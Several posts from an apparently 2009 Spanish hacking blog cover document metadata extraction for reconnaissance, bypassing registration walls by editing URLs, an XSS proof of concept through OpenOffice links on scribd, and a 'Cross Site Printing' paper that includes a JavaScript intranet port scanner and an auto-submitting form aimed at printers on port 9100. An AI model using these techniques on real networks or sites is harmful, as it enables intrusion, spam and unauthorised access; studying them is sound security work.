OpenOffice trabaja con ODF, un formato de archivos orientado al almacenamiento de aplicaciones ofimáticas que está basado en un esquema XML. Si se trata de "almacenamiento", podemos deducir que contiene ficheros dentro. Para poder ver que tiene simplemente click derecho->Extraer aquí; y como resultado tendremos carpetas y archivos, de entrada podemos ver:

------[directorios]---

META-INF/
Thumbnails/
Pictures/
Configurations2/

------[Archivos]---

content.xml
meta.xml
settings.xml
styles.xml
mimetype
layout-cache

Dentro de cada directorio encontraremos más ficheros, pero que a nosotros nos interse realmente, sólo es meta.xml, aunque como metadata "real" manifest.xml también merece ser mencionado.

Dentro de META-INF como podemos pensar a simple vista encontraremos metadatos, pero no de esos jugosos que a nosotros nos interesa, si no que nos encontramos un archivo .xml llamado "manifest.xml", si lo abrimos:

Podremos ver un listado de las carpetas y archivos que se encuentran dentro del documento ODF. Nada intersante, si lo comparamos con con lo que podemos encontrar en meta.xml. Ahí encontramos todo lo que buscamos, authores, editores, fechas, programa con que se generó, fechas, editajes, etc...

Si se desea aprender más sobre ODF y los metadatos, existe bastante información en la página oficial, aquí dejo sólo un link, pero os aseguro qeu es fácil encontrar toda la información de forma detallada:

ODF 1.2 Metadata specification

Byt3z

Saltarse el "tenes que estar registrado para..."

2009-04-11T07:55:00.003+02:00

Hay páginas que ofrecen recursos (imágenes, libros en pdf, etc) gratis, pero para descargarlos piden que te registres. Por ejemplo planetrenders quiero bajarme este render. Pueden ver la imágen chica pero para bajarla en tamaño completo te piden que te registres.
La url de la vista previa es esta: http://planetrenders.net/renders/albums/userpics/24332/normal_papillon%20copie.png

Simplemente le borramos el "normal_" y la tenemos del tamaño original: http://planetrenders.net/renders/albums/userpics/24332/papillon%20copie.png

Funciona en todos.

En otra webs, al querer bajar algo nos lleva a una web asi: http://example.com/register.php?url=http://example.com/downloads/nombre-de-un-archivo.rar

Esto es para que nos registremos y despues nos redirija a http://example.com/downloads/nombre-de-un-archivo.rar
En muchos casos, al abrir esa url ya descargamos el archivo. También puede ser que se pase por post, hay que mirar las cabeceras http.

Browser Rider: what you never expected your browser could do to you

2009-04-08T15:53:00.004+02:00

Bueno la verdad es que no tengo demasiado tiempo para contruir un buen artículo (15 minutos XD) ya que al igual que The X-C3LL también parto de vacaciones a mi pueblo, así que en nuestra ausencia me temo que le tocara a seth mantener el blog :P

-------------------------------------------------------------------------------------------------

Y otra de OWASP se podría decir. Ayer por la noche después de haber estado jugando un poco con igoogle, estaba mirando las conferencias que ya habían terminado haber si podía agarrar algún paper/video de algún sitio. En eso que vi que la Australia conference ya había finalizado hace tiempo. Y buscando llegué a las presentaciones , vi una que me llamó especialmente la atención.

Browser Rider: what you never expected your browser could do to you

Browser exploitation is in fashion but it doesn't seem that there's a popular tool to build and run attacks. Browser Rider will try to fill the gap by providing a framework to build, deploy and manage payloads that exploit the browser. This project aims on the long term to provide a powerful, simple and flexible interface to any client side attack for hackers.
Proposal
Browser security has become one of the most discussed subjects. This is mainly due to two things: First, nowadays malwares are not spread over emails any longer but through web application often using JavaScript obfuscation to avoid anti-virus detection. Second as the web is growing new technologies are constantly appearing to enhance the user experience but also offering many new attack vectors. In both cases it is important to understand that the browser offers an easy mechanism for bypassing firewalls and other perimeter security to gain unauthorised access or commit other security breach.
From a security consultant point of view it can be hard to justify the risk of vulnerabilities that affect the browser such as cross-site scripting, cross-site request forgery and unauthorized redirection vulnerabilities as they do not impact directly the server or the database.
Browser rider is a security tool to exploit browser vulnerabilities. It offers several existing payloads but also provides a complete programming framework to develop exploits. It also acts as a management system to deploy your attacks and control the infected browsers.
The first part of this presentation will introduce the audience to the tool and demonstrate many attacks that can be ported to the browser using the Browser Rider. The second part will technically explain how the tool works (i.e. obfuscation, signature detection avoidance, polymorphism, program architecture, framework), how to write your own exploits with it and deploy them.
On the long term Browser Rider aims at becoming a complete solution to execute, develop and test browser based attacks for security consultants.

Google un poco y encontré la página oficial de esté proyecto, junto a una presentación ppt.

Browser Rider - A hacking framework for browser explotation

Browser Rider OWASP 2009 Melbourne Chapter

Básicamente es un framework basado en payloads una interfaz simple y manejable para cualquier tipo de cliente que se pueda explotar.

Les recomiendo que prueben la demo online y que consulten la documentación de la wiki.

Engineering For Fun Wiki

Saludos a todos y felices pascuas!

El día de los e-mails

2009-04-08T09:41:00.003+02:00

Saludos a todos,

Creo que los miércoles van a ser un buen día para hablar un poco de los comentarios, dudas y sugerencias (tanto negativas como positivas, aquí no censuramos nada) en referente al blog que me llegan a mi buzón.

La verdad es que en líneas generales los comentarios han sido positivos de "hey, me gusta tu blog" y similares y el que más se repite "gracias por cambiar de theme, el anterior me producía úlcera", a falta de dos excepciones donde nos ponen a parir. Bueeeno, todo lo que publicamos aquí, o la forma en que lo hacemos, quizá no sea la mejor, aceptamos críticas constructivas... pero algo sí que quiero decir a estas personas...

En primer lugar a "br3t/\N", el cual en su e-mail nos califica de ir de "Técnicoless". Sinceramente en ningún momento la intencionalidad de este blog es la de asumir los roles de otros personajillos de la red, véase Enrique Dans, y demás personas que viven de la farándula. No queremos ni tener tropecientas visitas, ni ser "famosetes". Nuestra única intención a través de de este blog es la de transmitir un poco de conocimiento a aquellas personas que se inician en este mundillo o que símplemente desean aprender algo nuevo.

Si a través de este blog conseguimos que, aunque sólo un 1% de los lectores, aprendan algo nuevo que les vaya a ser útil, nos damos por satisfechos. Nos consideramos símplemente otro medio de difusión.

Y al otro e-mail enviado por "Anônim@", que desconozco si ese es su nick o símplemente quería pasar como "anónimo", enviado por RecoverPassHotmail002-at-hotmail-dot-com (esto ya da mucho que pensar la verdad...) símplemente decirle que cuando trate de insultar, por favor no agreda tan salvájemente a la Real Academial Española... un pequeño extracto del mail (una pena que lo haya borrado "sin querer"):

"(...)Sk sois unns atentics lammmmmeeeeeeeeeeerssssssssssssss pk no tneis ni ide sorbe hackear cuenta msn!!!!!!!!! Io si soi un hacker y le robe la cuenta a ds d mi classsse(...)

(...)buestrs madrs son uns hijas d pupta, y vstros papas tb!!!(...)"

Clap, Clap, magnífico uso de aquesta nuestra lengua... la verdad es que tras leer esto creo que sufrí un terrible y peligroso ataque por este "juacker": un RKD (Remote Kick Dictionary).

Y por último la primera duda que nos hay llegado, aunque no esté relacionada con las vulnes voy a dejar un link que responde muy bien a la duda de "NW-Perl":

"¿Podrías por favor dejarme algún link donde se hable del manejo de los metadatos en archivos de música en perl? En concreto me interesaría información sobre el formato MP3"

Link

En ese link explican bastante bien este tema, espero que te sea de utilidad.

Lo dicho, sigan mandando sus e-mails, que los miércoles pasaremos a leerlos (y por favor, que sean legibles, no vayan a provocarnos una denegación de servicios por un RKD)

Byt3z!

httprecon, identificando servidores web

2009-04-06T00:25:00.003+02:00

httprecon es un programa para Windows que permite analizar e identificar que servidor http esta corriendo un objetivo. Analiza los banners, códigos de error devueltos, el orden de las cabeceras, etc.

Esta programado en VisualBasic 6 y es de código abierto, además de que se pueden ver los datos que utiliza.

Web
Descarga
FAQ

XSS (Cross Site Scripting) Prevention Cheat Sheet

2009-04-05T23:20:00.018+02:00

Buenas! Para los que no me conozcan soy Lix y desde ahora también escribiré en el blog de mi amigo The X-C3LL. Probablemente a algunos les suene mi nombre de los 1000² alagos que me echa Vengador por mis "maravillosos" links que le paso despues de repasar mi burrada de RSS's.

Espero que todos mis posts les sean de utilidad y que disfruten de ellos.

-----------------------------------------------------------------------------------------------------------------

Hace algun tiempo cuando The X-C3LL retomó el blog después de su tiempo de inactividad posteo una XSS cheat-sheet , en este post compartió algunos de los metodos mediante los cuales el intentaba bypassear los filtros impuestos en algunos casos que nos dificultan la tarea.

Revisando la pagina de OWASP (la cual visito diariamente) me encontré con este documento:

XSS (Cross Site Scripting) Prevention Cheat Sheet

Cuando nos encontramos con el problema de querer protegernos contra algunos ataques que pueden sufrir nuestras webs normalmente la solución a estos suele ser más tediosa que la simplicidad de los ataques. Al igual que los ataques que pueden ir desde un simple alert(5), hasta ataques más elaborados que intenten bypassear algún tipo de filtro: onmouseover="alert(String.fromCharCode(70,117,99,107,32,105,71,111,111,103,108,101));" . De esta misma forma cuando queremos defendernos de estos ataques disponemos desde soluciones simples y rápidas como sanear nuestra variable simplemente con una función en PHP como htmlspecialchars hasta sistemas más complejos como filtros propios en JavaScript, alguna libreria de filtrado como HTMLPurifier o algun Web IDS.

La idea de este post es la misma que la del anterior post de cheatsheet, recolectar varias maneras de prevenirnos de este tipo de ataque, compararlas y seleccionar cual es la más efectiva y segura.

Saludos y espero que participen...

Hacking RSS and Atom (607 páginas)

2009-04-04T07:37:00.002+02:00

Hacking RSS and Atom

Mi última adquisición, mi lectura para descansar de las tardes de estudio que me esperan XDD.

DESCARGA

Que quede claro que símplemente he recolectado el link de internet, YO NO HE SUBIDO ESTE ARCHIVO (aclaro, que despues los del Copyright se nos ponen farrucos XD)

XSS a través de OpenOffice

2009-04-03T20:25:00.009+02:00

Saludos a todos!

Como es habitual, antes de empezar con la parte técnica, os voy a contar un poco de mi vida... Bien, esta noche voy a volver a las desérticas tierras de Almería para poder disfrutar de estas vacaciones... en esta semana que viene, continuaré con la parte de Metadatos que se borró (archivos .XLS), ya que en este ordenador no poseo MS Office para poder poner imágenes molonas y todos esos rollos, por lo que a esperar os toca :P (la culpa la tiene Lix por decirme que me ponga Fedora 10 XD). Por otra parte, algo interesante es que probablemente se nos una un compañero más en este patiburrillo que tengo por blog... así que ya podríamos decir que vamos a ser algo parecido a un blog serio.

Y hasta aquí el avance de noticias, ahora viene la parte técnica

==========================

Leyendo por el blog del Doctor Maligno me fijé en esto de colgar los PowerPoints de las presentaciones en una web para no tener que descargarlo y poder visualizarlo. Me pareció una cosa bastante curiosa la verdad, y como todo buen curioso me dispuse a leer un poco de cómo funcionaba este sistema.

La verdad es que ví varias variantes utilizando scripts en PHP, entre los cuales destacaban la conversión de los archivos en .pdf y en .html. Y es al leer sobre este último tipo de conversión donde se me planteó una pequeña idea que me atrajo bastante la verdad... y consiste en introducir código malicioso en el documento para que el .html generado tuviera un link que apuntase a una sentencia JavaScript...

Entonces me puse mano a la obra, abrí OpenOffice inserté un link con una pequeña sentencia javascript a modo de prueba de concepto:

Despues lo guardé primero como .doc y despues lo pasé a .html. Resultado: al cliclar sobre el link se me ejecutaba el alert. Bien... esto en la teoría debería de funcionar de 10... El caso es que quise probar "in situ" si mi teoría se cumpliría... y me fui hacia scribd.com, web bastante conocida y usada para subir cosas. Así que me encaminé a subir mi prueba de concepto haber que pasaba, aquí teneis el resultado: Prueba de Concepto , si dejais el ratón sobre link, observareis que no indica hacia donde apunta, por lo que no se puede predecir la hacia donde donde apunta el link a simple vista. Si clickais, podreis comprobar en vuestras propias carnes cómo se ejecuta un alert que contiene vuestra galletita :D.

Si bien, en el caso la aplicación está en Flash... el resultado era el esperado. Podemos decir que la vulnerabilidad de esta aplicación web reside en dos puntos importantes: falta de filtro, y ocultación de información.

En el primer caso, de existir algún tipo de filtrado para evitar la ejecución de código javascript, podríamos evitar perfectamente que un usuario al querer seguir el link caiga en nuestras redes. Por otra parte, el hecho de que no se muestre el target del link, hace que también podamos usarlo con otros menesteres, como por ejemplo algún tipo de phising.

En fin... que revisando información de esta clase de vulnerabilidad, llegué hasta un paper de Aditya K Sood (de SecNiche.org) donde ya hablaba de la utilización de aplicaciones word como vector de ejecución de código javascript y también sobre la inclusión de frames para realizar CSRF. Aquís os dejo el paper:

http://www.secniche.org/papers/SNS_09_01_Evad_Xss_Filter_Msword.pdf

Nueva incorporación al blog

2009-04-01T07:42:00.002+02:00

Saludos queridos lectores,

Informamos de que un nuevo miembro se nos ha unido a este proyecto/gilipollez de blog que teníamos Mace y yo. En esta ocasión le ha tocado a Seth, uno de esos tipos con los que he es agradable de vez en cuando hablar sobre vulnes, y que siempre te abre conversación con un interesante link... Por supuesto no tanto como los de Lix, XD.

De todas formas, para aquellos que siguen el blog simplemente deciros que por culpa de unos ataques que ha sufrido en su blog, va a empezar a publicar por estos lares... así qeu ser buenos con él y leed lo que ponga... Y si no os gusta te largas por donde has venido, o como rezaba en XD Blog "Podés irte a defecar".

Sin más que decir me despido, próximas publicaciones desde las desérticas tierras almerienses... ¡¡Que DioX nos coja confesados!!

Metadatos II: Destripando .DOC

2009-03-16T14:13:00.005+01:00

Saludos!

Ya estamos aquí de nuevo para darle caña a esto de los metadatos. Hoy vamos a hablar un poco sobre los metadatos en documentos word y hojas de cálculo excel, porque creo que son los tipos de archivos ofimáticos que más se pueden exponer, en el sentido de que son los que más se cuelgan en las webs para su descarga.

Como ya dije con anterioridad, existen múltiples herramientas que nos sacan los metadatos en un plis plás, pero yo lo que pretendo con estos pocos artículos (y con el que voy a hacer con Lix) es enseñaros qué son los metadatos, como podemos verlos, y daros unas pistas de cómo podeis codear vosotros una herramienta que se adapte a vuestras necesidades.

Los metadatos, como ya dijimos, contienen distintas informaciones acerca de nuestro documento, ya sean datos de la manipulación del documento, estructura, o descripciones sobre el contenido del mismo. En el caso de los archivos ofimáticos creado con MS-Office, esta información se incorpora de forma automática a nuestro propio archivo, es decir, que en nuestro documento tenemos a parte de nuestro texto, esta información. Como es lógico, si no la eliminamos, cualquier persona a la cual le suministremos nuestro documento podrá analizarlo y extraer datos de cierta relevancia sobre nosotros.

La forma de extraer estos datos es múltiple, desde simplemente abrir el documento con un editor hexa y buscar información, hasta sacar objetos OLE (como ejemplo el script que hice en el artículo Metadata I: Nociones básicas ). Otra opción puede ser pasar el archivo a otro formato... en el caso de .doc a .rtf (Rich Text Format) donde podremos ver mejor los metadatos....

El caso es que de primeras, para observar que esto de los metadatos es algo real, coged un editor hexadecimal y abrid cualquier documento Word que tengais a mano:

Si buscais un poquito podreis encontrar cosas como esta, donde podemos ver el nombre de usuario y el programa creador del documento. Si seguis viendo encontrareis otras cosas, en mi caso, puse un link a un recurso compartido y si observamos podemos encontrar el link:

Quedaros con eso de PID_HLINKS, ya hablaremos de eso más adelante. Si os fijais también podeis encontrar la compañía (Dark). Como veis aparece una cosa interesante como puede ser \\maquina003\PoC\ejemplo C3LL ... sería una cosa bastante interesante dar con algo como esto :D

Tras este primer vistazo, podemos entender porqué son importantes estos metadatos. Podemos llegar a esquematizar la estructura interna de una organización a partir de las rutas relativas, los dominios internos, las rutas de las imagenes que haya linkeadas, las impresoras externas; y además también podemos saber algunos software que usan, el tipo de impresora, etc... lo que si encontramos algo sobre lo que haya ya publicado en algun Bugtraq vulnerabilidades... tenemos la mitad del camino hecho.

A parte, también podemos sacar patrones de conductas y datos personales (nombres y apellidos, correo electrónicos, etc.) muy útiles a la hora de aplicar un poco de ingeniería social y de saber, por ejemplo, qué clase de permisos tiene cada usuario.

Bien, pero aún podemos extraer más datos. Al exportar un archivo .doc sucio (es decir, sin haber limpiado los metadatos) a formato .rtf (Rich Text Format), y abrirlo con un block de notas optendremos una marañana de datos... entre los cuales encontraremos nuestros queridísimos metadatos:

Por si alguien no sabe como pasar a .rtf, simplemente abre el documento word, dale a guardar como y selecciones el formato RTF. Bien, si nadais entre ese cúmulo de caracteres sin sentido aparente (y sólo aparente) encontrareis las mísmas cosas que antes... pero si os fijais más aún y comprobais con otros documentos... vereis que hay una serie de coincidencias, a partir de las cuales podrás sacar datos intereantes:

-Generator: es el programa que ha generado el documento (EJ: {\*\generator Microsoft Word 11.0.0000;} )
-Author: El usuario que creo el archivo (EJ:{\author usuario})
-Company: Compañía (EJ: {\*\company Dark})
-Revtbl: Usuarios que han creado/editado el archivo

Y despues hay otra serie de datos... tan sólo hechad un vistazo por ahí.

(Continuará)

Metadatos I: Nociones básicas

2009-03-15T02:47:00.002+01:00

Saludos lectores!

Antes de empezar quisiera pedir perdón por no haber posteado en estos últimos días, pero lo primero es la vida real y despues la virtual; y en este caso me ha tocado tomarme unos días para ver qué hacía con mi vida...

Dejando de lado mi descuido reciente en la publicación del blog, hoy vamos a hablar de los metadatos. Sí, ya sé que tengo pendiente lo de CSS Attacks, pero me han dicho "POstea algo rápido esta noche", y pss aprovechando que estaba con Lix hablando me he decidido a postear sobre este tema.

La idea ya me rondaba hacía tiempo... y entre el artículo sobre enumeración que voy a hacer para CPH (y por supuesto para el blog :P), las lecturas del blog de Chema Alonso (que por cierto no me van a dejar asistir a una charla suya en la USAL, en unas jornadas de puertas abiertas... que de puertas abiertas los cojones, he ido a informarme y por estar matriculado en Biología me han dicho que no puedo...), y en último lugar el próximo proyecto que vamos a comenzar Lix y yo (esperemos que salga algo tan interesante como lo fue en su momento "HTTP al descubierto") sobre metadatos.

Empezaremos desde 0 para aquellos que no tienen ni idea de lo que son Metadatos. Son datos que aparecen dentro de un archivo (sea de las características que sea: .html, .doc, .xls, .pdf, .jpeg...) y cuyo contenido informa del propio archivo. Estas informaciones son variadas, y pueden abarcar desde el autor o el programa con el que si hizo el archivo, hasta impresoras remotas instaladas en nuestra red, pasando por rutas locales... etc.

Para aquellos que alguna vez se han codeado una web, conocerán los elementos html conocidos como "meta". Estos elementos de primeras pueden parecer que no sirven, pero hay aplicaciones (como los buscadores) que extraen algunas informaciones de estos elementos. Algunas cosas que se suelen poner en los meta de la cabecera del documento son el autor, la descripción de la página y alguna otra información trivial, como correo de contacto.

En esta serie de artículos nos vamos a centrar en el trabajo de archivos de caracter ofimático y de imagen, ya que son los más difundidos sin tener cuidado y además hay más posibilidad de encontrar "algo".

Ya sabemos lo que son los metadatos, y te preguntarás para qué queremos conocerlos. Tranquilo, aunque al principio probablemente te parecerá que no son interesantes, a la larga comprenderás la importancia que tienen. Básicamente los vamos a emplear en una de las etapas que comprende cualquier ataque a una organización, la enumeración. En esta etapa lo que se hace es recabar todas las informaciones relevantes, como servicios que corren, puertos abiertos, versiones de aplicaciones, OS, nombres de usuario, estructura de la red interna, etc...

Si analizamos los metadatos de todos los archivos ofimáticos que hay colgados en la web de alguna organización interesante, seguro, seguro que obtenemos informaciones realmente jugosas. En "El Arte de la Intrusión" (el artículo para CPH) aparecerán ejemplos descargables para practicar todo estoy comprobar en nuestro ordenador como podemos llegar a sacar cosas interesantes.

Mi intención es publicar primero esta introducción, mañana o pasado hablar sobre los metadatos en aplicaciones MS-Office, despues OpenOffice y por último poner unas cuantas herramientas para que tengais.

Para abrir boca, vamos a usar un pequeño script codeado en perl que usa Win32::OLE para sacar algunos datos. En nuestro caso, lo único interesante con lo que vamos a encontrarnos es con el autor... ya que en la mayoría de las ocasiones coincide con el nombre de la cuenta de usuario que creó ese archivo, por lo que es algo importante:


#########DataFoS.pl /Ejemplo nº 1#########
# Codex by The X-C3LL                    #
# Blog: http://0verl0ad.blogspot.com/    #
# Ejemplo de extractor de datos básicos  #
#      "El Arte de la Enumeración        #
#                                        #
############Flaming Our Skills############



#Declaramos los módulos a usar. Usaremos Win32::OLE para interactuar (la usaremos sobre todo
#Cuando analicemos archivos de MS-Office

use strict;
use warnings;
use Win32::OLE;

if (!$ARGV[1]){
exit();
}

#Seteamos las variables con las que vamos a trabajar
my $ruta = $ARGV[0];
my $arch = $ARGV[1];


my $shell  = Win32::OLE->new("Shell.Application") || die;
my $folder = $shell->NameSpace($ruta) || die;
my $file   = $folder->ParseName($arch) || die;


#Montamos un array con los 34 campos que contienen info
my @info = ("Name","Size","Type","Date Modified","Date Create", "Date Accessed", "Attributes","Status", "Owner", "Author", "Title", "Subject", "Category", "Pages", "Comments", "Copyright", "Artist", "Album Title","Year", "Track Number", "Genre", "Duration", "Bit Rate", "Protected", "Camera Model", "Date Picture Taken", "Dimensions", "Empty", "Empty", "Empty", "Company", "Description", "File Version", "Product Name", "Product Version");

#Creamos un bucle while para sacar todos los campos
#http://www.microsoft.com/technet/scriptcenter/guide/sas_fil_lunl.mspx?mfr=true

#Con un bucle mostramos la info
my $count = 0;
foreach my $campo (@info){
my $data = $folder->GetDetailsOf($file, $count);
print $campo." : ".$data."\n";
$count++;
}

El code lo he hecho en 10 minutos, así que no me he preocupado de que comprobase las extensiones, por lo que muestra todos los campos, y lógicamente los que son sólo para archivos multimedia (como canciones) van a estar vacíos.

Reitero que esto es para abrir boca sólo y porque me han pedido que postease algo, ya mañana o pasado empezamos con lo interesante!

XSP: Cross Site Printing

2009-02-20T23:10:00.004+01:00

Recien acabo de terminar este pequeño paper. Estoy esperando a que alguien le haga un mirror (tengo por ahí el PDF, si alguien quiere subirlo avisadme).

Edito: he subido el paper a milw0rm-> Cross Site Printing

==============================================================
./0x00 Introducción al tema
./0x01 Conceptos básicos
./0x02 Buscando impresoras
./0x03 El arte del ASCII
./0x04 PostScript: controlando la impresión
./0x05 Conclusión

./0x00 Introducción al tema

El tema que venimos a tratar en este pequeño paper es la posibilidad desde el
exterior (véase desde una web, por ejemplo) realizar un “ataque” (entrecomillémoslo)
hacia las impresoras que tenemos en nuestra intranet. No es un tema transcendental ni
mucho menos, pero para mí es algo que me resulta bastante curioso y que está poco
documentado en castellano.

Realmente el impacto no lo considero grave ni mucho menos, bueno quizás en el
caso de mandar FAXs el impacto puede ser económico… y alguna denegación de
servicio también se puede lograr… pero salvo estos casos, en general sólo sirve para
imprimir documentos en redes ajenas (un poquito de SPAM ).

El Cross Site Printing no es más que una variante del Cross Site Scripting (XSS) de
toda la vida, consistente en que al visitar una web, ésta contiene un código JavaScript
que enviará una petición a la impresora donde mediante código PostScript podremos
llegar hasta a “dibujar”. Auqnue no sólo con JavaScript, ya que podemos variar el
ataque y convertirlo en uno usando las CSS (CSS Attack), cosa que ya veremos en su
apartado.

Sobre la vulnerabilidad, decir que surge por una falta de previsión por parte de
los fabricantes, los cuales no han pensado la posibilidad de colocar autentificaciones u
algún otro sistema de identifiación, o de filtro de seguridad para evitar esto. He de decir,
que en los últimos años según he estado leyendo recientemente, esto ya no es así, sino
que algunos sistemas ya incorporan medidas de seguridad básicas… pero como casi
todo hoy en día, tienen fallos aprovechables (podeis hechar un ojo poralgún bugtraq
para ver algunas vulnes en impresoras).

./0x01 Conceptos básicos

Antes de poder meternos a fondo con el tema, necesitamos conocer ciertos
conceptos básicos para poder entender más adelante todo lo que vamos a decir. Para
empezar… ¿de qué forma saben las impresoras cómo es la descripción de la página
que han de escribir?

Para responder a esto, debemos de saber qué son los lenguajes de descripción
de páginas. Los PDL (Page Description Language) son los encargados de describir la
maquetación del texto, la disposición de elementos gráficos como objetos vectoriales o
mapas de bits, el formato de las páginas, etc… Podemos encontrar diferentes PDLs
dependiendo de la empresa fabricante de la impresora, así encontramos por ejemplo
que HP usa PCL (Printer Command Language, es muy común confundir estas siglas con
las de Printer Control Languages, siendo este último un sinónimo de PDL), Epson usa
ESC/P (Epson Standar Code for Printers) y ESC/P2 (versión mejorada del anterior),
Samsung tiene el SPL (Samsung Printer Language), y por último nombrar a Adobe y su
PostScript. Estos son los más importantes, puesto que hay muchos más.
De los PDL que hemos mencionado, nosotros nos vamos a central sobre todo en
PCL y PostScript, puesto que son los que mayor transcendencia han tenido. De ambos
lenguajes hablaremos más adelante con algo más de detalle, por ahora sólo hacer un
par de apuntes interesantes.

Sobre PostScript, decir que fue de los primeros en ser un
lenguaje de programación en sí, es decir, marca la diferencia con los demás sistemas de
descripción de la época, los cuales se basaban en secuencias de caracteres de escape.
También decir que implementó la composición de imágenes a través de líneas
horizontales y curvas, nubes de píxeles y distintos tipos de tipografía. El formato PDF
(Portable Document Format) es un derivado de PostScript.

Para terminar de hablar de los PDLs, hablaremos de PCL. El PCL introducido por
HP ha sido uno implementado por un gran número de fabricantes, por ello va ha ser
sobre el que trabajemos. Los comandos de PCL son secuencias iniciadas por algún
carácter de escape.

Ahora toca hablar sobre los protocolos que usan las impresoras en red.
Bien, vamos a hablar a grandes rasgos (puesto que en materia de protocolos sólo sé
aquello que me ha ido haciendo falta) de los protocolos que suelen usar las impresoras.
El primero es el LPD (Line Printer Daemon) y trabaja por el puerto 515.
Después tenemos el IPP (Internet Printing Protocol) que está basado en el
protocolo IP ,y construido sobre HTTP, permite la autentificación y el cifrado. Este
protocolo envía una mayor cantidad de datos relacionados con el trabajo que otros
protocolos. Utiliza el puerto 631.

El protocolo de recursos compartidos CIFS (Common Internet File System),
anteriormente conocido como SMB (Server Message Block), también puede ser utilizado
para la comunicación con impresoras dentro de una red. Este protocolo es empleado
principalmente por Microsoft, aunque exite una implementación libre del protocolo
llamada Samba que permite su utilización en sistemas operativos GNU/Linux. Los
puertos que puede emplear son 137, 138 y 139.

Y por último, sobre el que vamos a hablar en el paper, es el protocolo
Raw TCP/IP, el cual trabaja por el puerto 9100.

./0x02 Buscando Impresoras

Como ya hemos dicho, nosotros nos vamos a centrar en los ataques a
través del protocolo Raw. Para realizar una búsqueda de impresoras dentro de nuestra
intranet, o bien queremos hacerla hacia redes remotas (si estan mal configurada
podemos acceder a las impresoras) tenemos varias opciones. La opción A es codearnos
un programa sencillo en nuestro lenguaje preferido (en mi caso PERL) y lanzar sockets a
direcciones IPs internas o hacer una búsqueda masiva. En cualquiera de los casos lo que
debemos de hacer es tratar de ver si tiene el puerto 9100 abierto. En caso afirmativo
hemos encontrado una impresora sobre la que trabajar.

Pero en este caso no estaríamos explotando ninguna vulnerabilidad ni
nada similar… y sería aburrido. Recientemente he estado leyendo acerca de los
Scanners de puertos en JavaScript y en CSS. Como ya dije al principio, el Cross Site
Printing es una vulnerabilidad derivada de los XSS’s. Luego si un usuario visita una web
vulnerable a XSS, y en el código malicioso incluimos el PortScanner, podremos saber la
direcciones de las impresoras que hay en su red, y ahí atacar. Este pequeño concepto lo
he sacado a partir de una idea que teníamos en mente S e t h y yo sobre analisis de
intranets desde el exterior para combinarlo con Malwares contra routers… pero el
concepto es portable a otros escenarios como es este.

Aquí os dejo un ejemplo de un PortScanner en JavaScript:


var AttackAPI = {
version: '0.1',
author: 'Petko Petkov (architect)',
homepage: 'http://www.gnucitizen.org'};
AttackAPI.PortScanner = {};
AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout)
{
var timeout = (timeout == null)?100:timeout;
var img = new Image();
img.onerror = function () {
if (!img) return;
img = undefined;
callback(target, port, 'open');
};
img.onload = img.onerror;
img.src = 'http://' + target + ':' + port;
setTimeout(function () {
if (!img) return;
img = undefined;
callback(target, port, 'closed');
}, timeout);
};
AttackAPI.PortScanner.scanTarget = function (callback, target, ports,
timeout)
{
for (index = 0; index < ports.length; index++)
AttackAPI.PortScanner.scanPort(callback, target,
ports[index], timeout);
};

Mis conocimientos en JavaScript rozan casi la nulidad, por ello no he
podido modificar este script para que busque impresoras en nuestra red, pero sí que
tengo la idea de cómo se haría (me faltan los conocimientos sobre el lenguaje para
poder expresarlas). La cosa sería crear unos bucles FOR que fueran creando diferentes
IPs posibles incrementandolas (las que equivaldrían al Target) para que den lugar a las
diferentes IPs de nuestra red (192.168.1.1, 192.168.1.2 y así sucesivamente) y aplicarle
la función de escaneo a esas IPs, pero haciendo que únicamente revise el puerto 9100.

Si alguien logra crear un scanner basandose en estas indicaciones, por
favor envíadmelo para incluirlo en esta publicación.

./0x03 El arte del Ascii

Ya sabemos cómo encontrar impresoras en nuestra red y en ajenas, y
además a través de que puerto vamos a trabajar. Ahora toca hablar sobre el “trabajo en
sí”.

Para comunicarnos con la impresora, y que ésta imprima debemos de
hacer una conexión a ésta a través del puerto 9100. Esta conexión podemos establecerla
de multiples maneras, como por ejemplo a través de NetCat, Telnet, Putty o algún otro
sistema que permita negociaciones de este tipo. Pero, como nosotros queremos
enfocarlo hacia el ataque desde una web, usarermos para la conexión nuestro
navegador. Para ello, entremos a la URI http://IPdeTuImpresora:9100. Al añadir los : y el
número, indicamos a nuestro navegador que se conecte a través del puerto que
queramos.

Si todo ha salido bien, no debería de cargarte ninguna web, es decir,
verías todo en blanco… y en la impresora algo recién impreso: la cabecera HTTP que
enviástes. Ahora observar qué ocurre si mandais una petición tipo POST con por ejemplo
la siguiente frase: “Lutscher si estás leyendo esto… vuelve con nosotros!!!!” usando
Live HTTP Headers. La frase aparece impresa sí, pero se encuentra bajo URLEncoded, lo
que podría no ser un texto legible con facilidad.

Bien, volvamos al ejemplo de que tenemos cierta web vulnerable a XSS y
combinando el scanner en JavaScript y añadiendo un formulario hidden que contenga
nuestra frase, y haciendo que este se autosubmitee para que se mande a nuestra
impresora (que sabremos por el scanner), podríamos hacer un poco de SPAM. Pero si realmente queremos mandar un mensaje o un dibujo en ASCII, el URLencode resulta
engorroso. Esto podemos solventarlo si el formulario lo dejamos de esta forma:


<FORM ACTION='HTTP://YOURPRINTER:9100' NAME=”IMPRESORA”
ENCTYPE='MULTIPART/FORM-DATA' METHOD='POST'>
<input type=”hidden” value=”Estas siendo Spammeado :O”>
</FORM>

A esto le añadimos la función de auto envío y ya. Aquí juega un papel
importante podríamos decir el dibujar en ASCII para poder dar cierta mejor calidad a
nuestro texto (añadir dibujos y esas cosas).

./0x04 PostScript: Controlando la Impresión

Al inicio del paper ya estuvimos hablando sobre los lenguajes PDL y dijimos que
nosotros ibamos a usar PCL y PostScript para controlar diversas funciones. En este
apartado, vamos a conocer nociones muy básicas de Post Script (para aprender más
buscad algún manual) y cómo encapsularlo dentro de PCL.

Empecemos viendo como son los comandos en PS (a partir de ahora lo usaremos
como abreviatura). A diferencia de los lenguajes que todos conocemos, en PS los
parámetros de los comandos han de introducirse antes que el comando, por ejemplo:

100 300 moveto

En este caso, moveto es el comando y sus parámetros son 100 y 300. Este
comando sirve para mover el cursor hasta el punto de inicio del dibujo. Los dos valores
que se indican antes hacen referencia a las coordenadas (utilizando como referencia
píxeles, cosa que podemos modificar con otros comandos al igual que el tamaño del
papel) x e y.

Como todos sabemos desde la primaria, para dibujar una línea recta necesitamos
dos puntos, y si ya tenemos uno ahora nos hace falta el punto final. Para ello usaremos
lineto, cuya sintaxis es la misma que la de moveto:

300 360 lineto

Donde el primer valor indica las coordenadas en el eje X y el segundo en el eje Y.
Pero no solo necesitamos esto antes de hacer una línea, sino que debemos de indicar el
